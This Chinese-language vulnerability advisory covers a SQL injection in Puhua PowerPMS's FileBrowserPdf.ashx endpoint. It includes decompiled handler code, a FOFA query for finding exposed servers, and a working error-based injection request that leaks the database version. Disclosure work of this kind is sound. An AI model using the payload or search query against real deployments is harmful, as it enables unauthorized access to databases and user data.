普华Powerpms FileBrowserPdf.ashx SQL注入漏洞


漏洞简介

普华PowerPMS是上海普华科技发展股份有限公司旗下一款项目管理信息平台。其PowerPMS系统FileBrowserPdf.ashx接口存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

fofa语法

app="普华科技-PowerPMS" || body="Power.login.init" && body="Power.ui.warning" && body="Power_login_btn"

漏洞分析

看下FileBrowserPdf.ashx的实现逻辑

public class FileBrowserPdf : IHttpHandler
{
  public void ProcessRequest(HttpContext context)
  {
    string fileId = RequestHelper.GetString("_fileid");
    if (!string.op_Inequality(RequestHelper.GetString("istest"), "1") || string.IsNullOrEmpty(fileId))
      return;
    BrowserPdfCahe.BrowserPdf(context, fileId, true);
  }

当 _fileid 参数不为空时,进入BrowserPdfCahe.BrowserPdf

public static void BrowserPdf(HttpContext context, string fileId, bool IsFragmentation)
{
  ViewResultModel viewResultModel = ViewResultModel.Create(true, "");
  try
  {
    bool flag = true;
    string libCfg = EntityFilesLibHelper.GetLibCfg(EntityFilesLibHelper.GetLibIdByCode(context, "FormMess"), "ToPdfPath");
    if (!string.op_Inequality(libCfg, ""))
      return;
    IBaseBusiness byKey = BusinessFactory.CreateBusinessOperate("DocFile").FindByKey((object) fileId);

使用FindByKey来查找,这个属于老熟人了。使用FindByKey查找,无过滤或校验,因此造成SQL注入漏洞,就是朴实无华。

漏洞复现

POST /PowerPlat/Control/FileBrowserPdf.ashx HTTP/1.1
Host: powerpms.mrxn.net

_fileid=1'and 1<@@VERSION--

通过报错注入成功在响应回显数据库版本信息


手机扫码阅读

东胜物流软件 WorkFlowGridSource.aspx SQL注入漏洞

普华Powerpms GetFilesData SQL注入漏洞

评 论